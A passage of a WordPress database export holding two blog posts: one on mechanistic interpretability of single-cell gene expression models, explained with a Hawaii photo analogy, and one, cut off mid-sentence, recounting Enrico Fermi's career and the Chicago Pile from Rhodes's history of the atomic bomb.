href=\"https://substackcdn.com/image/fetch/$s_!C-Gb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff321d47e-46b9-4e47-aca8-2b520ab5102d_512x512.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!C-Gb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff321d47e-46b9-4e47-aca8-2b520ab5102d_512x512.png\" alt=\"NIH 3D - Human Rogdi-AlphaFold\" title=\"NIH 3D - Human Rogdi-AlphaFold\"/></a><figcaption class=\"wp-element-caption\">Can I be honest? People always make these cool looking ribbon diagrams with programs like AlphaFold and they don’t do anything for me. I think I need to be deeper into protein design to appreciate the utility of them.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>This is missing out on a big opportunity, though. It’s true that we don’t need to crack these black boxes open to do a lot of cool stuff. It’s even more true that there’s a ton of cool stuff left to do without cracking the black boxes open, as David Baker’s voluminous output post-Nobel Prize suggests (30+ papers and counting in 2024 alone).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But somewhere in that black box is some kind of understanding of how micro features relate to macro features. I’m not saying this decades-old problem is close to being solved, but we have a sudden new tool for trying to solve more of it. It’s a neat opportunity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That’s why I’ve been excited by this rash of biological mechanistic interpretability work that’s popped up out of nowhere in the last few weeks. Mechanistic interpretability, if you’re unaware, is a special way of training these models so that their mechanics become, well, interpretable<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-4-152195561\">4</a>. Once their mechanics are interpretable, it’s also possible to tweak their mechanics, and ratchet up or down pieces of the black box. So, we can actually better understand how these models understand biology.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I have to admit that the usefulness of this for biology took me by surprise. I had been vaguely aware of mechanistic interpretability from Anthropic’s “Golden Gate Claude” work, which showed that they could tweak their LLM, Claude, to become obsessed with the Golden Gate Bridge. I thought this was fun, but not academically interesting, because I’m not that interested in the inner workings of LLM. So, I forgot about it after playing around for a bit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then, about a month or two ago, I came across a great, long essay by Adam Green, “<a href=\"https://www.markov.bio/research/mech-interp-path-to-e2e-biology\">Through A Glass Darkly</a>”, in which he claimed to have created a virtual cell by training a model on single-cell gene count data, or the counts of genes expressed inside individual cells. This allowed his model to learn which genes co-express in which cells and tissues, and predict which genes will tend to co-express in new cells and tissues<a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-5-152195561\">5</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Off the bat, I was admittedly skeptical of his claim that this gene count data constitutes a virtual cell, and in some respects I still am. A cell, after all, isn’t just a static collection of genes that have been expressed. A cell is a living, changing thing that obeys the laws of physics (especially fluid dynamics). Even the magic of deep learning can’t change that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, I kept reading. Adam explained that, once he built his “virtual cell”, he also built a “virtual microscope” to peer inside the cell. This, as you probably guess, was his mechanistically interpretable model. He argued that, when his model learned which genes tended to co-express in new cells and tissues, it was actually learning how the expression of genes would change as cells or tissues themselves changed.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That is, even though the model was trained on static, flat snapshots, it learned how the snapshots would change when any piece of the snapshot would change. This meant that his model somehow understood the life of the cell, and all that was left to do was interrogate it. If we interrogated it, that meant we could learn from it what would happen in different scenarios. In other words, we could run virtual experiments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was so taken aback by this idea that I felt that I had to understand it better before reaching a conclusion. I reached out to some friends who are better versed in this sort of modeling than I am (like&nbsp;<a href=\"https://www.owlposting.com/\">owl posting</a>&nbsp;and&nbsp;<a href=\"https://substack.com/@an1lam\">Stephen Malina</a>), and also reached out to Adam directly. It took a while, but I think I finally get what Adam really did, what the promises of this idea are, and what the limitations are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let me begin, as I like to do, with an analogy. Imagine you are someone who’s never been to Hawaii. In fact, you don’t know anything about Hawaii, or anything about the world in general. You have lived your entire life in a windowless room, lit only by a single lightbulb. One day, someone passes a bunch of photos of Hawaii underneath your door. It shows all parts of Hawaii, including the cities, the beaches, and the airport. These photos are weird: they are amalgamations of all times and weather conditions, which is not problematic for understanding the airport photos but is more problematic for trying to understand the beach ones, as storms, sunny days, sunbathing, and storm surges combine into one complicated image.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>The rest of this post continues my Hawaii analogy and talks about it in relation to Adam Green’s work and what it means for the problem of emergence.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Regardless, you try to learn as much as you can about Hawaii from these photos. You learn that coffee shops in Hawaii are in the airports and cities, but not on the beaches. You learn that people usually wear flip flops on the beach and sometimes in the airport. You learn that people occasionally carry umbrellas in cities and on the beach, but you can’t make the connection of that with the weather, because the photos don’t give you that information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But still, you learn a lot. And the next day, when someone presents you with slightly incorrect photos of Hawaii: skyscrapers on the beach, surfers cutting waves in the airport, planes landing on the highway, you’re able to correct them and point on that there needs to be sand on the beach, travelers in the airport, and cars on the highway. Congrats, you now have a foundation model of Hawaii, based on the “gene expression” in those photos.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Jp4n!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8dba4391-44b3-4b03-847d-2e3c7ee29476_1600x1067.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Jp4n!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8dba4391-44b3-4b03-847d-2e3c7ee29476_1600x1067.jpeg\" alt=\"The best beaches in Dubai | Condé Nast Traveller Middle East\" title=\"The best beaches in Dubai | Condé Nast Traveller Middle East\"/></a><figcaption class=\"wp-element-caption\">Of course, you’d never be able to predict that in Dubai, they have camels on the beach. There’s a limit to your model.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Let’s now say that people are very impressed with your conception of Hawaii. They want to understand you. First, they try to get you to say as simply as possible what makes you realize that there needs to be sand on the beach instead of skyscrapers. Because you learned all of this subconsciously, you probably have weird internal heuristics of how you learned this, like maybe the combination of seagulls, beachballs, and flip flops makes you think beach, and that’s associated with sand. But, if you’re forced to use as few words as possible, maybe you’d eventually get to pointing at the ocean and the beachgrass, and you’d say that these two things make a beach and need to have sand between them, even if you don’t know what either of them are called. Hopefully then your interlocutor can label these for you and for themselves, so now they understand how you work, to some extent. Congrats, you are now mechanistically interpretable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Then your interlocutor, now that they can communicate with you, asks you what would happen to the sand and the beachgrass if the ocean experienced a 10 foot increase in depth after, say, some climate change. In this sense, he’s running an experiment. You’d probably be able to guess that a lot of the sand would disappear. Maybe, you’d predict that even though the ocean wouldn’t be deep enough to fully cover the beachgrass, there still wouldn’t be any beachgrass afterwards. You’d make this inference just from the fact that you’ve never seen beachgrass in shallow water, but it’d reflect the physical reality that beachgrass can’t grow in seawater. Congrats, you’ve successfully run an experiment just based on your model. Or, rather, an experiment has been run on you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bringing this back to mechanistic interpretability, I think you can see the promises and limitations of Adam Green’s idea. There’s definitely a lot of context that gets lost with a snapshot of the gene count of a cell, especially if there’s every possible thing that could happen (gene expression) included in that snapshot. However, because all the gene expressions are represented, you can actually get a pretty good understanding of how things work and which genes tend to be expressed together. This does give you some idea of how the whole cell gets put together. You even get some limited understanding of the physics and logic behind the gene counts, enough so that you can make limited inferences of what would happen in new scenarios.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I think the most difficult thing about this approach is not what’s not present in the model, though. That’s obvious. You can’t ask a snapshot of what will happen over time, because it doesn’t have a conception over time. I think what’s difficult is knowing what the limitations are. If I ask you about what would happen if Honolulu got flooded, you probably wouldn’t predict cars floating down the streets. Instead, you might confidently predict that it would look like the ocean, with no visible objects in the water. If your interlocutor can’t sanity check you, he might believe it, too.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adam Green, in his virtual cell, probably underestimates this difficulty. He shows some cool things:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Genes that are associated with plasma cell terminal differentiation and immunoglobulin secretion (the equivalent of your interlocutor asking you which colors and shapes you associate with beaches)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changes in genes when epithelial tight junction and barrier formation programs are activated (the equivalent of your interlocutor asking you what happens to the colors and shapes on the beach that represent the seagrass if the seagrass gets twice as big)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Downstream changes resulting from thymus feature activation (the equivalent of your interlocutor asking you what happens to the colors and shapes that represent the water if the seagrass gets twice as big)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Identifying unique populations of enterocytes based on unique gene expression patterns (the equivalent of your interlocutor asking you to identify different types of grass in Hawaii’s lawns based on different colors and shapes)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of this is legitimately cool, and why I was excited about this approach and spent so much time thinking about it. There definitely feels like there’s something here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!HEC9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda70cfa0-5e6b-47f8-96e1-9e58bd3ce2f4_1916x1299.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!HEC9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fda70cfa0-5e6b-47f8-96e1-9e58bd3ce2f4_1916x1299.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is Adam Green’s “microscope”. Here’s&nbsp;<a href=\"https://markov-virtual-cell-explorer.vercel.app/\">a link</a>, if you want to play around with it.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>However, all of it is presented with the same amount of confidence, and I can only rely on my basic knowledge of cell biology to sanity check any of it. Even if I do sanity check some of it, any of the novel discoveries, which are the most important things to check, are as suspect as your interlocutor asking you what happens to the ocean if the seagrass grows.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This brings us on where to go from here. In my communication with Adam, I suggested the first thing for him to do would be to check some of these novel “discoveries” with wet lab experiments. I understand that’s really expensive and requires a different set of skills than training a model, but it feels necessary.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Let’s assume that that’s done, though, and it’s found these models have some mix of interesting, useful predictions and convincingly false predictions, as I expect. What should we do next?<br><br>The most obvious low-hanging fruit is to add a time dimension. One intriguing possibility I see here comes from a recent paper that suggests&nbsp;<a href=\"https://www.biorxiv.org/content/10.1101/2024.11.18.624170v1\">RNAs carry their history with them in the form of edits</a>. If we can weight gene coexpression by time variation (i.e. these genes tend to coexpress at these times), we’d be able to start understanding how cells change over time, the equivalent of knowing that sunshine and sunglasses tend to co-occur and rain and umbrellas tend to co-occur. This still wouldn’t solve predictions from totally outside of the dataset (i.e. there’d be no way of knowing what people wear when it snows), but it’d give a lot more information about what happens inside the dataset.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adam Marblestone on Twitter suggested an intriguing, more difficult thing to add to this model. He suggested using imaging data, specifically expansion microscopy, which allows clearer views of what’s actually happening inside a cell. If this could be accomplished, this would not only add a time dimension, but also space. Or, in other words, it’d let us add information about what happens to the cell’s features traveling through space and time as gene expression changes. This would be the equivalent of some sort of virtual reality video of Hawaii, which obviously could instantly add much needed reality to a condensed snapshot. Even just a short video could better constrain the model’s predictions to reality, and potentially serve to sanity check any predictions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Neither of these are completely straightforward to add. Both of them need at least some connection to the gene count data, which would either require generating new data with gene count expression and time/expansion microscopy together, or really careful matching. However, I think they’re necessary for making this useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’d like to conclude this essay by saying the problem of emergence is finally within our grasp. But, I don’t think it is. We have developed an important new tool, though. That feels undeniable, and kudos to those brave explorers who’ve started to use it. I’m looking forward to what we find next.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-1-152195561\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The whole thing is&nbsp;<a href=\"https://qntm.org/scp\">free to read online</a>&nbsp;if you want to spend a weekend. His other works are great too, fyi.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-2-152195561\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ve put this spoiler in a footnote. It’s not a huge spoiler but it’s definitely a spoiler. The idea itself is that there’s a giant monster which seeks to mind-control all people and devour the Earth. If you become aware of this monster, it becomes aware of you, and will immediately try to mind control you or, failing that, send its mind-controlled minions after you. It’s cool and spooky in context, I swear.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-3-152195561\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I made this one up.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-4-152195561\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For technical details (which, to be frank, I’m weak on, but trying to improve): deep learning models involve measuring correlations between motifs that appear over and over again in the data set (like amino acid triplets). The models learn to represent the motifs as a set of neuronal weights through repeated passes, encoding the core motifs into layers of neurons. Once the model is adequately trained on how to recognize the motifs, new “fuzzed” data set are used to get the model to try to predict, or generate new data (i.e. recognizing a slightly off data set is equivalent to predicting what the data should be).<br><br>Because there are multiple layers of neurons, and the model’s taught itself how to recognize these motifs, it’s impossible for a human to understand how these models work. However, if you take the model again, and force it to try to reconstitute its understanding using a single layer of neurons, you end up with a much more easily understandable model, one in which small populations of neurons correspond to individual features. The next time you show the model something to recognize, you can see which neurons light up, similar to fMRIs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s really cool is then you can weight certain neurons more heavily, and give them a much higher probability of firing. In their original work, Anthropic did this with the “Golden Gate” neurons, causing their large language model to mention the Golden Gate Bridge at inappropriate times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/cracking-biological-emergence-with#footnote-anchor-5-152195561\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The rest of this blog post is about Adam Green’s work with mechanistic interpretability as it pertains to gene count data. The other biological mechanistic interpretability efforts that I’m aware of all have to do with protein models, which I find less interesting. This is partially because I actually just find protein design in general less interesting as a personal thing, and also because nobody has come up with good experiments to be done with mechanistic interpretability of protein design. I’m not saying experiments can’t be done, but I haven’t seen any so far.</p>\n<!-- /wp:paragraph -->','Cracking biological emergence with mechanistic interpretability','','inherit','closed','closed','','500-revision-v1','','','2025-07-03 19:31:01','2025-07-03 19:31:01','',500,'https://trevorklee.com/?p=501',0,'revision','',0),
(502,1,'2025-07-03 19:31:52','2025-07-03 19:31:52','<!-- wp:paragraph -->\n<p>It’s hard to grasp the enormity of the development of the atomic bomb. The most absorbing scientific problem in the world, the problem of the makeup of the universe itself, turned out to hold the key to almost infinite energy and almost infinite destruction. This discovery coincided exactly with the largest war the world had ever known, in which the greatest political idea of the modern world, liberal democracy, faced its greatest threat, fascism. The realization of this on all sides set off an arms race, which the industrialized United States literally moved mountains to win. Then the United States became, as everyone expected, the undisputed heavyweight champion of the world, for a brief few shining years, before the Soviet Union entered the atomic fray and launched the world into existential uncertainty.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s a lot. And the personalities are just as big, even just on the scientific side: tortured poet Oppenheimer; shy, fatherly Bohr; his prodigal son-turned-Nazi Heisenberg; cerebral, impatient Szilard; retired, legendary Einstein; Martian genius von Neumann. All of them together, interacting, colliding and bouncing off each other like particles in a reactor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To begin to grasp all facets of this monumental project requires a mammoth tome. Richard Rhodes’s&nbsp;<em>The Making of the Atomic Bomb</em>, which I’ve been reading recently, is a good attempt. It’s 700+ pages and choc-a-bloc full of technical and historical details. I think it’s incredible. However, it’s so large and complex that even relating its version of the development of the atomic bomb is intimidating for a blog such as mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’m not going to do that. Instead, I’m going to take a crosscut of the development of the atomic bomb through one of the easier-to-digest personages of the atomic bomb sage: Enrico Fermi. Fermi, although brilliant, was an understandable sort of brilliant. He was a largely self-taught nerd who loved physics and pursued it throughout his life in theoretical and experimental form. He was not so political as Oppenheimer, alien as von Neumann, or prickly as Teller. He reminds me a lot of the nerds I know around Cambridge today, actually. Just, you know, a Nobel Prize winner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!FtYd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73ea4517-0a71-4092-ab00-021ab00c7f5a_768x346.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!FtYd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F73ea4517-0a71-4092-ab00-021ab00c7f5a_768x346.jpeg\" alt=\"Enrico Fermi: The Man Who Built the World\'s First Nuclear Reactor\" title=\"Enrico Fermi: The Man Who Built the World\'s First Nuclear Reactor\"/></a><figcaption class=\"wp-element-caption\">Enrico Fermi, the man himself.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Maybe an anecdote would help illustrate my point, before I start going through his life. Every great scientist has an anecdote that characterizes him (or her): Oppenheimer’s poisoned apple, Einstein’s days as a patent clerk, Feynman’s lockpicking. Fermi’s characteristic anecdote, for my reckoning, comes from Rhodes’s account of Fermi’s time at Los Alamos. Los Alamos was in the desert of New Mexico, and, as a lark, the scientists there adopted much of the dress and activities of cowboys, including swing dancing. Fermi, awkward nerd that he was, had no idea how to swing dance, and spent an entire night sitting on the edge of the dance and furiously trying to work out the pattern in his head. At some point, he got up, asked the instructor (one of the scientist’s wives) to dance with him, and, much to her surprise, carefully led her through all the steps with grim determination. This was Fermi in a nutshell: identify what’s interesting, work furiously to understand it, and then end up at the front of it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Enrico Fermi was born and trained in Italy in the beginning of the 20th century. Italy was a relative backwater of physics, at least compared to Germany, Britain, or America. As such, Fermi, a prodigy from a young age, quickly surpassed his teachers, and was given free range of the physics laboratory from age 19 on. Fermi, brilliant and mathematically inclined, turned to the most interesting problems of his age: general relativity, quantum mechanics, and atomic physics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>His earliest works were both experimental and theoretical, signs of his flexibility to come. After leading his fellow classmates, Nello Carrara and Franco Rasetti, to create an X-ray photograph of a crystal, he published his first scientific works on trying to unite electromagnetism and gravity, following Einstein’s footsteps. Fermi, as an unknown 20 year old, was forced to publish in an Italian journal, but one of the papers was well-regarded enough that it was translated into German as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!_-7u!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8f9fb8-abdf-4d83-bafe-e61fb1c3c47c_749x384.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!_-7u!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fde8f9fb8-abdf-4d83-bafe-e61fb1c3c47c_749x384.jpeg\" alt=\"Structure of DNA | BioNinja\" title=\"Structure of DNA | BioNinja\"/></a><figcaption class=\"wp-element-caption\">The x-ray photograph of DNA produced by Rosalind Franklin that Watson and Crick used to create their famous paper, robbing Franklin of the credit. This is a much more sophisticated use of x-ray crystallography than Fermi’s early attempts, because crystallizing organic material is much more difficult than producing an x-ray photograph of an element or mineral.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>After graduation, Fermi spent about a year studying in Germany, the center of physics at that time. Here, he studied under Max Born, worked with Heisenberg, and met both Hendrik Lorentz (of Lorentz transformation fame) and Albert Einstein. If this seems like a lot to pack into a year for a kid fresh out of college, then you’re starting to get an idea of Fermi’s uncanny ability to be in the thick of things, as well as exactly how small the physics community was. By the way, ironically, Fermi considered this one of the few failures of his life, as it was one of the few times in his life he wasn’t recognized as the undisputed smartest person in the room. But that was Fermi.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By his mid 20s, which were also the mid-1920s (funny how that worked), Fermi had moved back to Italy and began to seriously examine quantum mechanics, paralleling the field’s heating up. Through a combination of theoretical and experimental work on gases, he discovered the existence of fermions, particles that obey the exclusion principle that two particles can’t occupy the same quantum state. Around the same time, he applied to become one of the first professors of theoretical physics in Italy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi’s star kept rising. By 29, he was appointed a member of the Royal Academy of Italy by Mussolini himself. Fermi, largely apolitical, joined the Fascist party soon after, likely out of convenience. He published a popular Italian textbook on atomic physics, hired boatloads of research assistants and graduate students, and even began attracting foreigners to study physics with him in Italy, like the German Hans Bethe.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As the focus of science turned to the forces of the atom, so too did Fermi’s. He postulated the existence of the neutrino, then turned to see if he could determine the makeup of the atom. With his research group, the Via Panisperna boys, he set up a clever experiment to induce radioactivity in different elements. He and his group assumed that, by inducing radioactivity, they had transmuted old elements into new, heavier elements (the transuranics), but they had actually discovered radioactive decay by forcing heavier elements to decay into a mixture of lighter elements, arguably a more important discovery. Unfortunately, in those heady times, by the time they figured that out in 1938, 4 years later, Fermi was already receiving the Nobel Prize for his “discovery of the transuranics”, and he had to add a footnote to his Nobel Prize speech that he hadn’t, in fact, done that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, as Fermi’s rapid 4 year journey from publication to Prize indicated, this was an exciting time for physics. Around the same time, Fermi discovered slow capture of neutrons, a key part of the development of the atomic bomb, along with his experimental confirmation of nuclear fission. Unfortunately, this was an exciting time for Fermi’s personal life, too, as Mussolini decided to impress Hitler by suddenly instituting racial laws in 1938 banning Jews from government work and education. Although Fermi wasn’t Jewish, his wife and many of his physics colleagues were, and even Fermi saw the writing on the wall that things were only going to get worse.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, Fermi and his family escaped to America. As befitting Fermi, this was actually pretty easy. He didn’t have the dramatic rowboat escape of Niels Bohr and his son, Aage, or, for that matter, Bohr’s beneficial humanitarian impact on the situation of Jews in his homeland. Fermi just sailed directly from the Nobel Prize ceremony to America and set up work at Columbia in 1939, just in time to help make the atomic bomb for his new country.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You see, it wasn’t just Fermi who had figured out that radioactive decay was occurring with induced radioactivity, and that might lead to a chain reaction that would ultimately result in an atomic bomb. By this point, every physicist had realized that. In fact, Szilard, the Hungarian physicist and boy genius (who famously did his best thinking in the bath), had realized it all the way back in 1933, secretly patented the idea of a chain reaction in 1934, and had convinced Albert Einstein to convey a letter to FDR by August 1939 warning him of the same.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Fermi arrived in America in the middle of all of this excitement, along with a bunch of other mostly Jewish European physicists who had wisely escaped their increasingly antisemitic homelands. Fermi, like everyone else who wasn’t a Nazi (e.g. not Heisenberg), had come to the conclusion that, if anyone should have the atomic bomb, it definitely shouldn’t be Hitler. This probably provided some impetus for Fermi to shift his work towards engineering the atomic bomb. But, I think the bigger impetus for Fermi was that making the atomic bomb was by far the most exciting thing happening in physics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is how Fermi ended up causing atomic fission to happen in Columbia University, right in the middle of New York City: first in 1939 with a&nbsp;<a href=\"https://en.wikipedia.org/wiki/Cyclotron\">cyclotron</a>, and then, and more dramatically, in 1941, with six tons of uranium oxide and thirty tons of graphite carefully arranged into a “pile”. This proved not big enough to achieve criticality (i.e. become a self-sustaining nuclear reaction), although it was still a giant pile of radioactive material in one of the most populated places in New York City and the world, long after it was understood exactly how dangerous that was. Following this, Arthur Compton at the “Advisory Committee on Uranium”, which at that point was fully governmentally commissioned and funded, realized how big a mistake that was, asked Fermi to build his next, presumably critical pile somewhere else. Compton suggested/told Fermi to move it close to Chicago, which was where the plutonium part of the atomic bomb work had become concentrated. He suggested a nature preserve 20 miles outside of the city. Fermi, reluctantly, agreed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Picture this: it’s the fall of 1942. Germany was full bore into its simultaneous wars in Africa and Russia and bearing the strain. The Pearl Harbor sneak attack had happened one year earlier, and America was fully aware that it was going to have to enter its full might into the war. Fermi, his wife, and other refugees huddled in America, feeling grateful that they had avoided the horrors wreaked upon those who hadn’t managed to get out, but still unsure in their new country, burying gold in the backyard of their home in case they needed to leave in a hurry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then Arthur Compton, a genteel, Mennonite, Nobel Prize winning American physicist who Fermi barely knows, tells Fermi that he needs to move his giant uranium pile across the country. Money and manpower is no object. The only concern is speed and scientific accuracy. Fermi recognizes the need for speed and accuracy. It fits in with Fermi’s natural scientific drive. And when the blueblood Boston engineering firm contracted to develop the nature preserve into a nuclear testing site gets caught up in a labor dispute, Fermi proposes to move the uranium pile to the University of Chicago squash court instead. Compton agrees.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So now Fermi, 3 years into being an American, is in charge of building the first self-sustaining nuclear reactor in the world in a city and university he’s been in for just a few months. And, based on his calculations, 30 high school dropout laborers under the direction of 6 scientists machine 45,000 graphite blocks enclosing 19,000 pieces of uranium and uranium oxide, held together in a giant somewhat spherical pile by wooden timbers and a 25 foot cubic balloon filled with carbon dioxide. This pile is meant to become a self-sustaining nuclear reactor, so it has some small chance of blowing up and making Chicago an uninhabitable wasteland.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!3Tw6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3a7bcf3-ac9f-4027-8075-0b7b3479b7bb_920x656.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!3Tw6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa3a7bcf3-ac9f-4027-8075-0b7b3479b7bb_920x656.jpeg\" alt=\"Chicago Pile-1, the first reactor to reach criticality, was built under a  football field.\" title=\"Chicago Pile-1, the first reactor to reach criticality, was built under a  football field.\"/></a><figcaption class=\"wp-element-caption\">An artistic representation of Chicago Pile 1. They ended up not having to use the balloon of carbon dioxide or make a perfectly spherical pile, as the uranium and graphite were pure enough to not need the overengineering to go critical.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Fermi is aware of this risk, of course, as is Compton and the rest of the scientists (the laborers and the rest of Chicago probably 